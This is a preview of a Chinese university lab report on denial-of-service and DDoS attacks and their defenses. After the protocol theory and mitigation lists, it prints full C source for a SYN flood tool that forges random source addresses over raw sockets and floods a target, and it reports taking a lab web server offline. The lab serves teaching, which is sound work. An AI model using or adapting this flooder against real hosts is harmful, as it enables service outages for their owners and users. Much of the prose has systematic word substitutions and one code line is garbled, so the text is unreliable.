实验10-拒绝服务攻击与防范_第1页
实验10-拒绝服务攻击与防范_第2页
实验10-拒绝服务攻击与防范_第3页
实验10-拒绝服务攻击与防范_第4页
实验10-拒绝服务攻击与防范_第5页
已阅读5页,还剩15页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

贵州大学实验报告学院:计算机科学与技术学院专业:信息平安班级:姓名学号实验组实验时间指导教师蒋朝惠成绩实验工程名称实验十拒绝效劳攻击与防范实验目的拒绝效劳〔DoS〕攻击与防范通过本实验的学习,使大家了解拒绝效劳攻击的原理以及相应的防范方法。通过一个SYNFlood的拒绝效劳程序,使大家加强对Dos攻击的理解。分布式效劳〔DDoS〕攻击与防范通过本实验的学习,使大家了解分布式拒绝效劳(DDoS)攻击的原理以及相应的防范方法。实验要求通过实验,理解和掌握DoS和DDoS的攻击原理以及相应的防范方法实验原理拒绝效劳〔DoS〕攻击与防范TCP协议介绍传输控制协议是用来在不可靠的Internet上提供可靠的、端到端的字节流通信协议,在FRC793中有正式定义,还有一些解决错误的方案在RFC1122中有记录,RFC1323那么有TCP的功能扩展。常见到的TCP/IP协议中,IP层不保证将数据报正确传输到目的地TCP那么从本地机器接收用户的数据流,将其分成不超过64KB的数据字段,将每个数据片段作为单独的IP数据包发送出去,最后在目的地机器中将其再组合成完整的字节流,TCP协议必须保证可靠性。发送方和接收方的TCP传输以数据段的形式交换数据,i一个数据段包括固定20字节,加上可选局部,后面再加上数据。TCP协议从发送方传输一个数据耳朵时候,其中有一个确认号,它等于希望收到的下一个数据段的序号,接收方还要发送回一个数据段,其中有一个确认号,它等于希望收到的下一个数据段的顺序号。如果计时器在确认信息到达以前超时了,发送方会重新发送这个数据段。从上面的内容可以在总体上了解一点TCP,重要的是熟悉TCP的数据头。因为数据流的传输最重要的就是header里面的东西,至于发送的数据,只是TCP数据头附带上的、客户端和效劳器端的效劳响应就是痛header里面的数据有关,两端信息交流和交换是根据header中内容实施的,因此,要了解DoS攻击原理,就必须对TCP的header中的内容非常熟悉。有关TCP数据段头格式参见7.1.3节内容。TCP连接采用“3次握手〞,其原理步骤如下所述。在没有连接时,接受方效劳器处于监听状态,等待其它机器发送连接请求。第一步,客户端发送一个带SYN位的请求,向效劳器表示需要连接。第二步,效劳器接收到这样的请求后,查看监听的端口是否为指定端口,如果不是,那么发送RST=1应答,拒绝建立连接。如果是,那么效劳器发送确认,SYN为效劳器的一个内码,假设为100,ACK位那么为客户端的请求序号加1,本例中发送的数据是:SYN=11,ACK=100,用这样的数据发送给客户端。向客户端标明,效劳器连接已准备好,等待客户端确实认。这时客户端接收到信息后,分析得到的信息,准备发送确认连接信号到效劳器。第三步,客户端发送确认信息建立连接的消息给效劳器端,确认信息的SYN位是效劳器发送的ACK位,ACK位是效劳器发送的SYN位加1.级:SYN=11,ACK=101。这时,连接已经建立好了,可以进行发送数据的过程。效劳器不会在每次接收到SYN请求就立刻恢复客户端建立连接,而是为连接请求分配内存空间,建立会话,并放到一个队列中。如果等待队列已经满了,那么效劳器就不会再为新的连接分配资源,直接丢弃请求。如果到了这种地步,那么效劳器就是拒绝效劳了。拒绝效劳〔DoS〕攻击〔1〕DoS的根本概念DoS的英文全称是denialofservice,也就是“拒绝效劳〞的意思。从网络攻击的各种方法和所产生的破坏情况来看,DOS算是一种很简单但又很有效的攻击方式。它的目的就是拒绝效劳访问,破坏效劳程序正常运行,最终它会使局部Internet连接和网络系统失效。DoS的攻击方式有很多种,最根本的DoS攻击就是利用合理的效劳请求来占用过多的资源,从而使合法用户无法得到效劳。DoS攻击的根本过程是:攻击者向效劳器发送众多的带有虚假地址请求,效劳器发送回复请求后等待回传信息,由于地址是伪造的,所以效劳器一直等不到回传的消息,分配给这次请求的资源就始终没被释放。当效劳器等待一段时间后,连接会因超时而呗切断,攻击者会再传送一批新的请求,在这种反复发送伪地址请求的情况下,效劳器资源会最终被耗尽。被DOS攻击事的现象大致有:①被攻击主机上有大量等待的TCP连接。②被攻击主机的系统资源被大量占用,造成系统停顿。③网络充满着大量无用的数据包,源地址为伪造地址。④大量无用数据使得网络拥塞,受害主机无法与外界进行通信。⑤利用受害主机提供的效劳或传输协议上的缺陷,反复高速地发送特定的效劳请求,使受害主机无法及时处理所有正常请求,严重时会造成系统崩溃。〔2〕拒绝效劳攻击的根本方法要对效劳器实现拒绝效劳攻击,实质上有两种方式:一是迫使效劳器的缓冲区满,不接受新的请求;二是使用IP欺骗,迫使效劳器把合法的连接复位,影响合法用户的连接。这就是DoS攻击实施的根本思想。具体实现有一下几种方法:①SNYFlood。编写发包程序,设置TCP的Header,向效劳器端不断成倍地发送只有SYN标志的TCP请求。当效劳器接收的时候,都认为是没有建立起来的连接请求,于是为这些请求建立会话,排到缓冲队列中。如果SYN请求超过了效劳器能容纳的限度,缓冲区队列占满,那么效劳器就不再接收新请求了,其他合法用户的连接都被拒绝掉。②IP欺骗DoS攻击。这种攻击利用RST位来实现。假设现在只有有一个合法用户〔〕已经同效劳器建立了正常的连接,攻击者构造攻击的TCP数据,伪装自己的IP为,并向效劳器发送一个带有RST位的TCP数据段。效劳器接收到这样的数据后。认为从发送的连接错误,就会清空缓冲区中建好的连接。这时。如果合法用户再发送合法数据;效劳器就已经没有这样的连接了,该用户就必须重新开始建立连接。使用这种攻击方式时,需要伪造大量的IP地址,向目标发送RST数据,可以使效劳器不对合法用户效劳。③Smurf。播送信息可以通过一定的手段发送到整个网络机器中。当某台机器使用播送地址发送一个ICMPecho请求包时,一些系统会回应一个ICMPecho回应包。④自身消耗的DoS攻击。这种DoS攻击就是把请求数据包中的客户端IP和端口设置成主机自己IP和端口,再发送给主机,使得主机给自己发送TCP相应和连接。这样,主机就会很快把资源耗光,直接导致死机。这种伪装攻击对一些身份认证系统威胁巨大。⑤塞满效劳器的硬盘。通常,如果效劳器可以没有限制地执行写操作;那么通过一些手段就可以造成硬盘被写满,从而拒绝效劳;比方发送垃圾邮件。⑥合理利用策略。一般效劳器都有关于账户锁定的平安策略,比方某个账户连续3次登陆失败,那么这个账号将被锁定。这点也可以被破坏者利用,他们伪装一个账号去错误登陆,这样使得这个账号被锁定,而正常的合法用户就不能使用账号去登陆系统了。〔3〕拒绝效劳攻击的防范到目前为止,防范DoS特别是DDoS攻击仍比拟困难。但仍然可以采取一些措施以降低其产生的危害。对中小型网站来说,可以从以下几个方面进行防范:①主机设置。即加固操作系统,对各操作系统参数进行设置以加强系统稳固性。重新编译或设置Linux以及操作各种BSD系统、Solaris等操作系统内核中某些参数,可在一定程度上提高系统的抗攻击能力。例如,对于DoS攻击的典型种类——SYNFlood,它利用TCP/IP漏洞发送大量伪造的TCP连接请求,以造成网络无法连接用户效劳或使操作系统瘫痪。该攻击过程涉及系统的一下参数:可等待的数据包的链接数和超时等待数据包的时间长度。因此,那么进行如下设置:●关闭不必要的效劳。●将数据包的链接数从默认值128或512改为2048或更大,以家常每次处理数据包队列的长度;以缓解和消化更多数据包的连接。●将连接超时时间设置得较短,以保证正常数据包的连接,屏蔽非法攻击包。●及时更新系统、安装补丁。②防火墙设置。仍以SYNFlood为例,可以在在防火墙上进行如下设置:●禁止对主机非开放效劳的访问。●限制同时翻开的数据包最大连接数。●限制特定IP地址的访问。●启用防火墙的防DDoS的属性。●严格限制对外开放效劳器的向外访问,以防止自己效劳器被当作工具攻击他人。●RandomDrop算法。当流量到达一定阀值时,按照算法规那么丢弃后续报文,以保持主机的处理能力。其缺乏是会误丢正常的数据包,特别是在大流量数据包的攻击下,正常数据包容易随非法数据包被拒之网外。●SYNCookie算法。采用“六次握手〞技术以降低受攻击率。其缺乏是依据列表查询,当数据流量增大时,列表急剧膨胀,计算量随之提升,容易造成响应延迟乃至系统瘫痪。③路由器设置。以CISCO路由器为例,可采取如下方法。●CiscoExpressForwarding(CEF)。●使用Unicasatreverse-path。●访问控制列表〔ACL〕过滤。●设置数据流量速率。●升级版本过低的IOS。●为路由器建立logserver。不管防火墙还是路由器都是到外界的接口设备,在进行防DDoS设置的同时,要权衡可能牺牲的正常业务代价,谨慎行事。④利用负载均衡技术。就是把应用业务分部到几台不同的效劳器上。采用循环DNS效劳或者硬件路由器技术,将进入系统的请求分流到多台效劳器上。这种方法要求投资较大,相应的维护费也高,中型网站如果有条件可以考虑。以上方法对流量小、正对性强、结构简单的DoS攻击进行防范还是很有效的。而对于DDoS攻击,那么需要能够应付大流量的防范措施和技术,需要能够综合多种算法、集多种网络设备功能的集成技术。分布式效劳〔DDoS〕攻击与防范DDoS的根本概念分布式拒绝效劳攻击时借助于客户——效劳器技术,将多个计算机联合起来作为攻击平台,对一个活活在多个目标发动攻击,使成倍的增加攻击能力。DDoS的攻击原理Smurf与Fraggle将一个目的地址设置成播送地址后,它就会被网络中的所有主机接收并处理。其中Smurf是用播送地址发送ICMPECHO包,而Fraggle是用播送地址发送UDP包。trinoo是复杂的DDoS攻击程序,它使用主控程序master对实际实施攻击的任何数量的“代理〞程序实现自动控制。TFN2K是一个使用master程序与位于多个网络上的哦国内国际代理进行通信。Stacheldraht也是基于TFN的,采用C/S模式,其中master程序与潜在的成千上万个代理程序进行通信。DDoS系统的一般结构在更一般的情况下,DDoS可能使用多台控制机,形成一个攻击结构。DDoS的监测根据异常情况分析使用DDoS检测工具DDoS攻击的防御策略实验仪器拒绝效劳〔DoS〕攻击与防范安装有Windows操作系统的PC,编辑工具可选用VC++6.0。由hub或交换机组成的有假设干台PC局域网。分布式效劳〔DDoS〕攻击与防范Windowsserver2003,风云压力测试DDoS软件,冰盾防火墙实验步骤、内容、数据拒绝效劳〔DoS〕攻击与防范在一个局域网环境中,根据实验内容中提供的DoS程序,编写一个SYNFlood拒绝效劳程序。使用自己编写的DoS程序攻击实验室的一台实验主机,在实验主机上安装一个网络监听工具〔如tcpdump等〕,观测DoS攻击效果。交自己编辑的SYNFlood拒绝效劳攻击程序猿代码,并对代码中的关键步骤添加注释,通过网络监听工具观测攻击效果,并对实验结果进行分析。SYNFlood程序如下:#include<stdio.h>#include<winsock2.h>#include<ws2tcpip.h>#include<windows.h>#include<time.h>#include<dos.h>#pragmacomment(lib,"ws2_32.lib")#defineMAX_RECEIVEBYTE255typedefstructip_head//定义IP首部{unsignedcharh_verlen;//4位首部长度,4位IP版本号unsignedchartos;//8位效劳类型TOSunsignedshorttotal_len;//16位总长度〔字节〕unsignedshortident;//16位标识unsignedshortfrag_and_flags;//3位标志位〔如SYN,ACK,等〕unsignedcharttl;//8位生存时间TTLunsignedcharproto;//8位协议(如ICMP,TCP等)unsignedshortchecksum;//16位IP首部校验和unsignedintsourceIP;//32位源IP地址unsignedintdestIP;//32位目的IP地址}IPHEADER;typedefstructtcp_head//定义TCP首部{USHORTth_sport;//16位源端口USHORTth_dport;//16位目的端口unsignedintth_seq;//32位序列号unsignedintth_ack;//32位确认号unsignedcharth_lenres;//4位首部长度/6位保存字unsignedcharth_flag;//6位标志位USHORTth_win;//16位窗口大小USHORTth_sum;//16位校验和USHORTth_urp;//16位紧急数据偏移量}TCPHEADER;typedefstructtsd_head//定义TCP伪首部{unsignedlongsaddr;//源地址unsignedlongdaddr;//目的地址charmbz;charptcl;//协议类型unsignedshorttcpl;//TCP长度}PSDHEADER;//CheckSum:计算校验和的子函数USHORTchecksum(USHORT*buffer,intsize){unsignedlongcksum=0;while(size>1){cksum+=*buffer++;size-=sizeof(USHORT);}if(size){cksum+=*(UCHAR*)buffer;}cksum=(cksum>>16)+(cksum&0xffff);cksum+=(cksum>>16);return(USHORT)(~cksum);}voidusage(){printf("***********************************************************");printf("SYN_FLOODMADEBYLionD8");printf("Useage:FLOODTarget_ipTarget_portDelay_time");printf("***********************************************************");}//Delay_time单位为毫秒。intmain(intargc,char*argv[]){WSADATAWSAData;SOCKETsock;SOCKADDR_INaddr_in;IPHEADERipHeader;TCPHEADERtcpHeader;PSDHEADERpsdHeader;intSourcePort;charszSendBuf[60]={0};BOOLflag;intrect,nTimeOver;intsleeptime;usage();if(argc<3||argc>4){printf("inputerror!");returnfalse;}if(argc==4)sleeptime=atoi(argv[3]);elsesleeptime=300;if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){printf("WSAStartupError!");returnfalse;}sock=NULL;if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET){printf("SocketSetupError!");returnfalse;}flag=true;if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR){printf("setsockoptIP_HDRINCLerror!");returnfalse;}nTimeOver=1000;if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&nTimeOver,sizeof(nTimeOver))==SOCKET_ERROR)//设置发送的时间{printf("setsockoptSO_SNDTIMEOerror!");returnfalse;}addr_in.sin_family=AF_INET;addr_in.sin_port=htons(atoi(argv[2]));addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);while(TRUE){//填充IP首部ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsignedlong));ipHeader.tos=0;ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));//IP总长度ipHeader.ident=1;ipHeader.frag_and_flags=0;//无分片ipHeader.ttl=(unsignedchar)GetTickCount()%87+123;ipHto=IPPROTO_TCP;//协议类型为TCPipHeader.checksum=0;//效验位先初始为0ipHeader.sourceIP=htonl(GetTickCount()*474695);//随机产生一个伪造的IPipHeader.destIP=inet_addr(argv[1]);//目标IP//填充TCP首部SourcePort=GetTickCount()*43557%9898;//随机产生一个端口号tcpHeader.th_dport=htons(atoi(argv[2]));//发送的目的端口tcpHeader.th_sport=htons(SourcePort);//源端口号tcpHeader.th_seq=htonl(0x12345678);//序列号tcpHeader.th_ack=0;//确认号tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);tcpHeader.th_flag=2;//为SYN请求tcpHeader.th_win=htons(512);tcpHeader.th_urp=0;tcpHeader.th_sum=0;//填充TCP伪首部用来计算TCP头部的效验和psdHeader.saddr=ipHeader.sourceIP;psdHeader.daddr=ipHeader.destIP;psdHeader.mbz=0;psdHeader.ptcl=IPPROTO_TCP;psdHeader.tcpl=htons(sizeof(tcpHeader));//计算校验和memcpy(szSendBuf,&psdHeader,sizeof(psdHeader));memcpy(szSendBuf+sizeof(psdHeader),&tcpHeader,sizeof(tcpHeader));tcpHeader.th_sum=checksum((USHORT*)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));//把伪造好的IP头和TCP头放进buf准备发送memcpy(szSendBuf,&ipHeader,sizeof(ipHeader));memcpy(szSendBuf+sizeof(ipHeader),&tcpHeader,sizeof(tcpHeader));//发送数据包rect=sendto(sock,szSendBuf,sizeof(ipHeader)+sizeof(tcpHeader),0,(structsockaddr*)&addr_in,sizeof(addr_in));if(rect==SOCKET_ERROR){printf("senderror!:%x",WSAGetLastError());returnfalse;}elseprintf("sendok!");Sleep(sleeptime);//根据自己网速的快慢确定此值,sleeptime越小发得越快}//endwhile//重新伪造IP的源地址等再次向目标发送closesocket(sock);WSACleanup();return0;}运行代码得到如下可执行文件:攻击之前,将一台web效劳器的效劳端口改为1234,如下:访问上面的web效劳器如下:DoS攻击:最后一个参数60,表示每60ms发送一次,回车后:每60ms显示一个sendok!表示发送成功。DoS攻击之后,访问之前的web效劳器,出现如下情况:说明DOS攻击成功!分布式效劳〔DDoS〕攻击与防范C1〔攻击者〕上安装DDoS客户端程序,C2—C6〔傀儡机〕上安装DDoS效劳器端,

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论